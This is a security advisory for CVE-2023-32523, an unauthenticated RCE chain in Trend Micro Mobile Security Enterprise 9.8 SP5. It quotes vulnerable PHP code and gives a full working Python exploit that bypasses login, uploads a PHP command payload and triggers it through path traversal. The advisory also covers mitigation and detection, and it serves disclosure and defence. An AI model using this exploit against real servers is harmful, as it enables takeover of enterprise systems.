Summary:

Product Trend Micro Mobile Security (Enterprise) 9.8 SP5
Vendor Trend Micro
Severity Critical
Affected Versions Trend Micro Mobile Security (Enterprise) 9.8 SP5 (<= Critical Patch 3)
Tested Version(s) Trend Micro Mobile Security (Enterprise) 9.8 SP5 (Critical Patch 3)
CVE Identifier CVE-2023-32523
CVE Description Improper implementation of the authentication mechanism results in authentication bypass for affected installations of Trend Micro Mobile Security (Enterprise) 9.8 SP5 (<= Critical Patch 3) in the /widget endpoint. The vulnerability exists in the WFUser class where non-existent user accounts are automatically created with a blank password upon receiving an incoming request. This results in attackers being able to interact with authenticated endpoints after exploiting this vulnerability.
CWE Classification(s) CWE-287: Improper Authentication
CAPEC Classification(s) CAPEC-115: Authentication Bypass

CVSS3.1 Scoring System:

Base Score: 9.8 (Critical)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Metric Value
Attack Vector (AV) Network
Attack Complexity (AC) Low
Privileges Required (PR) None
User Interaction (UI) None
Scope (S) Unchanged
Confidentiality (C) High
Integrity (I) High
Availability (A) High

Product Overview:

Trend Micro Mobile Security Enterprise offers a web-based console that provides centralized management for enterprise users, supporting device location tracking and inventory management, in addition to providing single-click deployment of data protection policies. Administrators can use the policy management feature to configure and deploy product settings to managed products. The Mobile Security web-based management console enables IT to remotely enroll, provision, and de-provision devices with corporate network settings like VPN, Microsoft Exchange ActiveSync, and Wi-Fi.

Trend Micro Mobile Security Enterprise also offers instant summary views of compliance, inventory, protection, and the health of all devices registered under it. It provides visibility into the number, types, and configuration of devices that are accessing corporate resources. Mobile Security enables system administrators to monitor and report on activities such as malware infections, and offers phishing protection. It also identifies and blocks apps that pose a security, privacy, and vulnerability risk by correlating installed app data against the Mobile Application Reputation Service (MARS) database of known malicious applications. An unauthenticated attacker can use the vulnerabilities described in this report to execute arbitrary code on the target Trend Micro Mobile Security instance. As the attack is targeted against the Trend Micro Mobile Security instance, the attacker can gain access to other resources via lateral movements.

Vulnerability Summary:

This advisory presents information on an authentication bypass vulnerability, an unrestricted file upload vulnerability, as well as a Local File Inclusion (LFI) vulnerability which, when combined, leads to a pre-authenticated Remote Code Execution (RCE) vulnerability in Trend Micro Mobile Security 9.8 SP5 Critical Patch 3.

Vulnerability Details:

In order to achieve unauthenticated Remote Code Execution, all 3 vulnerabilities above have to be chained together. An adversary must first create a new WFUser and obtain an authenticated PHPSESSID cookie. Then, they have to upload a file PoolManager.php to C:\Windows\Temp\, which stores the PHP code to execute. Finally, by exploiting the Local File Inclusion vulnerability to include the uploaded file, Remote Code Execution is achieved.

Authentication Bypass

The authentication bypass sink is found in /Mobile Security/web/widget/inc/class/user/User.php within the product_user_init() function:

// Mobile Security/web/widget/inc/class/user/User.php

public function product_user_init(){
    mydebug_log("[WFUSER] product_user_init()");
    $email = product_get_session_username(); // [1]
    
    if(false == $this->recover_session_byemail($email)){
        // no previous session
        mydebug_log("[WFUSER] product_user_init(): no previous session");
        // load user
        if(false == $this->loaduser_byemail($email)){ // [2] 
            // create the user
            mydebug_log("[WFUSER] product_user_init(): create user");
            if(! $this->create_user($email)){ // [3]
                mydebug_log("[WFUSER] product_user_init(): create user failed");
                $this->errMessage .= "creating user failed";
                return false;
            }
        }
        $this->binduser(); // [4]
        // create cookies for page
        $this->createCookieForPage();
    }
    mydebug_log("[WFUSER] product_user_init(): ok");
    return true;
}

At [1], the function first saves the return value of the function product_get_session_username(), which returns the value obtained from the $_SESSION['UserName'] key. Then at [2] and [3], if the $email value does not already exist in the SQLite database, a new user will be created at [4].

The function definition of product_get_session_username() below:

// Mobile Security/web/widget/repository/widgetPool/wp1/inc/common.php

function product_get_session_username()
{	
	if( isset($_SESSION["UserName"]) ) {
		return $_SESSION["UserName"];
    }

	// Standanloe Widget Framework would just return null.
	return null;
}

This function checks and returns the value of the $_SESSION['UserName']. It was discovered that this value is user-controllable and set to the value of the session_info request cookie:

// Mobile Security/web/widget/repository/widgetPool/wp1/inc/product_auth.php

session_start();
mydebug_log("[Product Auth]Session info:".$_COOKIE['session_info']);
$User = explode(',',$_COOKIE['session_info']);
mydebug_log("[Product Auth]Login:".$User[1]);
$_SESSION["UserName"] = $User[1];

The $_SESSION['UserName'] session key will store a value from the session_info request cookie. For example, session_info=,foo would result in the value foo being stored. With control over the $email string, function create_user() is invoked and the value of $_SESSION['UserName'] is passed as an argument. This function essentially creates a new row in the users table of the SQLite database with the username set as foo.

This newly created user is now bound to the current PHP session, meaning that the PHPSESSID cookie returned by the server will contain valid WFUser data and pass authentication checks.

What this ultimately means is that to authenticate, set the value of session_info cookie to any arbitrary value in the ,<ANY> format.

Unrestricted File Upload

The unrestricted file upload sink can be found in /Mobile Security/web/widget/repository/widgetPool/wp1/proxy/modTMMSPM/proxy.php, where users are able to upload any file to the C:\Windows\Temp directory by sending a POST request with the file to upload. As there are no input validation in place, any type of file is able to be uploaded. The relevant code can be seen below:

// Mobile Security/web/widget/repository/widgetPool/wp1/proxy/modTMMSPM/proxy.php

switch($postData['tmms_action'])
{
    //...
    case 'set_certificates_config': // [1]
    {
        $isPostFile = true;
        $headers [] = 'Accept:text/html';				 								
        if($_FILES["cert_file_name"]["error"]>0){
            mydebug_log("[TMMSPM Proxy][RetriveData] php receive file failed:(".$_FILES["cert_file_name"]["error"].").");
            return false;
        }
        
        mydebug_log("[TMMSPM Proxy][RetriveData] php receive file success.");
        
        $fileName = $this->GetFileName($_FILES['cert_file_name']['name']); // [2]
        $tempFile = dirname($_FILES['cert_file_name']['tmp_name'])."\\".$fileName; // [3]
        mydebug_log("[TMMSPM Proxy][RetriveData] get certificate file-->".$tempFile);
        
        if(!move_uploaded_file($_FILES['cert_file_name']['tmp_name'],$tempFile)){ // [4]
            mydebug_log("[TMMSPM Proxy][RetriveData] move upload file failed.(" . $fileName.")");
            return false;
        }
        //...
	}
}

At [1], the POST request parameter tmms_action must be set to “set_certificates_config” to enter the switch case where the vulnerability occurs.

At [2], the uploaded filename is obtained from the POST parameter cert_file_name and saved to the PHP variable $fileName. Since only the filename is obtained, path traversal is not possible.

At [3], the upload path is stored to the $tempFile PHP variable. This concatenates C:\Windows\Temp\ with the uploaded filename.

At [4], the uploaded file is moved into the filesystem. Up till this point, no verification on the uploaded file was done.

Local File Inclusion

Unsanitized user input via the update_type POST JSON key is used as part of a require_once directive. This results in the ability to include arbitrary files on the filesystem to be executed as PHP code by sending a POST request to https://TARGET_HOST/mdm/web/widget/inc/widget_package_manager.php The vulnerable code where the incoming request is first handled can be seen below:

// Mobile Security/web/widget/inc/widget_package_manager.php

$widgetRequest = json_decode(file_get_contents("php://input"), true);

// ...

switch($widgetRequest['act']){
    case "check":
        try{
            $strUpdateType = isset($widgetRequest['update_type']) ? $widgetRequest['update_type'] : 'widget';
            $strFuncName = 'is'.WF::getTypeFactory()->getString()->getUpperCamelCase($strUpdateType).'Update';
            $isUpdate = WF::getWidgetPoolFactory()->getWidgetPoolManager($strUpdateType)->$strFuncName();

The user input is taken from the incoming web request POST body and JSON-decoded, before being stored in $widgetRequest PHP variable. Some lines after, the $strUpdateType PHP variable is also set to the same value. The values from the POST request body are subsequently used in the invocation of getWidgetPoolManager():

// Mobile Security/web/widget/inc/class/widgetPool/WidgetPoolFactory.abstract.php

public function getWidgetPoolManager($strUpdateType = 'widget'){
    if(! isset(self::$instance[__FUNCTION__][$strUpdateType])){
        $strFileName = $this->objFramework->getTypeFactory()->getString()->getUpperCamelCase($strUpdateType);
        require_once (self::getDirnameFile() . '/widget/'.$strFileName.'PoolManager.php'); // [1]

At [1], the function argument $strUpdateType is concatenated as part of the require_once directive, allowing the attacker to control the effective path to the PoolManager.php file.

Exploit Conditions:

This vulnerability can be exploited by an unauthenticated attacker.

Proof-of-Concept:

We have tried our best to make the PoC as portable as possible. The following is a functional exploit written in Python3 that exploits this vulnerability to achieve remote command execution:

# Trend Micro Mobile Security 9.8 SP5 (<= Critical Patch 3) Unauthenticated RCE (CVE-2023-32523)
# Via: https://TARGET_HOST/mdm/web/widget/inc/widget_package_manager.php
# Author: Poh Jia Hao (STAR Labs SG Pte. Ltd.)

#!/usr/bin/env python3
import requests
import sys
requests.packages.urllib3.disable_warnings()

s = requests.Session()

def check_args():
    global target, cmd

    print("\n===== Trend Micro Mobile Security 9.8 SP5 (<= Critical Patch 3) Unauthenticated RCE (CVE-2023-32523) =====\n")

    if len(sys.argv) != 3:
        print("[!] Please enter the required arguments like so: python3 {} https://TARGET_URL CMD_TO_EXECUTE".format(sys.argv[0]))
        sys.exit(1)

    target = sys.argv[1].strip("/")
    cmd = sys.argv[2]
    cmd = cmd.replace("'", "\\'")

def authenticate():
    global s

    print("[+] Performing authentication bypass...")
    s.cookies['session_info'] = ",foo"
    s.cookies['wf_CSRF_token'] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
    res = s.get(f"{target}/mdm/web/widget/index.php", verify=False)
    if res.cookies['userID']:
        print("[+] Authenticated successfully!")
    else:
        print("[!] Something went wrong when authenticating!")
        sys.exit(1)

def upload():
    print("[+] Uploading payload...")
    files = {
        "cert_file_name": ("PoolManager.php", f'<?php echo system(\'{cmd}\');echo "\\n\\n===== Success ====="; ?>')
    }
    data = {
        "module": "modTMMSPM",
        "tmms_action": "set_certificates_config",
        "HTTP_X_CSRFTOKEN": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
    }
    s.post(f"{target}/mdm/web/widget/proxy_controller.php", files=files, data=data, verify=False)

def rce():
    print("[+] Triggering RCE...")
    json = {
        "act": "check",
        "update_type": "..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\temp\\"
    }
    res = s.post(f"{target}/mdm/web/widget/inc/widget_package_manager.php?HTTP_X_CSRFTOKEN=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", json=json, verify=False)
    if "Success" in res.text:
        print(f"[+] RCE was successful! Output of command:\n\n{res.text}")
    else:
        print("[!] Something went wrong when triggering the RCE!")

def main():
    check_args()
    authenticate()
    upload()
    rce()

if __name__ == "__main__":
    main()

Suggested Mitigations:

Update the Mobile Security (Enterprise) installation to the latest version as shown in Trend Micro’s Download Center.

Detection Guidance:

It is possible to detect the exploitation of this vulnerability by checking the C:\Windows\Temp directory to see if any persistent PHP files exist. Check the server’s access logs to see if there are any abnormal requests to the /mdm/web/widget/proxy_controller.php and /mdm/web/widget/inc/widget_package_manager.php end-points in quick succession.

Credits:

Poh Jia Hao (@Chocologicall) of STAR Labs SG Pte. Ltd. (@starlabs_sg)

Timeline:

  • 2022-11-30 Reported Vulnerability to Vendor via ZDI
  • 2023-01-18 Triaged and Reported by ZDI
  • 2023-04-18 Patch Released by Vendor
  • 2023-08-22 Public Release